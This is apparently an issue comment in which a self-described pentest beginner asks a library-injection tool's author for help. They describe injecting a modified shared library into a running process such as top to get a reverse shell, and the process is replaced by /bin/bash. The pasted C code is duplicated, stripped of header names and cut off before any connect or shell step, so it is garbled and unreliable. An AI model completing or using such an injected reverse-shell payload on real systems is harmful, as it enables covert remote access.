hello,thanks for your code.
im a pentest noob,when i test this programmer,i find a issue. i rewrite the sample-library.c to back connect to my host,when i inject the .so to a normal process(like top),inject success and i received a reverse shell,but, the top process disappear,the pid dont change,but the process cmdline changed to /bin/bash,i think sample-library.c cause this.so could you please help me?this is my sample-library.c:
hello,thanks for your code. i
m a pentest noob,when i test this programmer,i find a issue. i rewrite the sample-library.c to back connect to my host,when i inject the .so to a normal process(like top),inject success and i received a reverse shell,but, the top process disappear,the pid don
t change,but the process cmdline changed to /bin/bash,i think sample-library.c cause this.so could you please help me?this is my sample-library.c:include
include
include
include
include
include <sys/types.h>
include <sys/socket.h>
include
include
include
include <sys/types.h>
include <sys/socket.h>
include <netinet/in.h>
include
static void * hello() { struct sockaddr_in server; int sock; char shell[]="/bin/bash"; if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { return NULL; }
}
attribute((constructor)) void loadMsg() { pthread_t thread_id; pthread_create(&thread_id,NULL,hello,NULL); }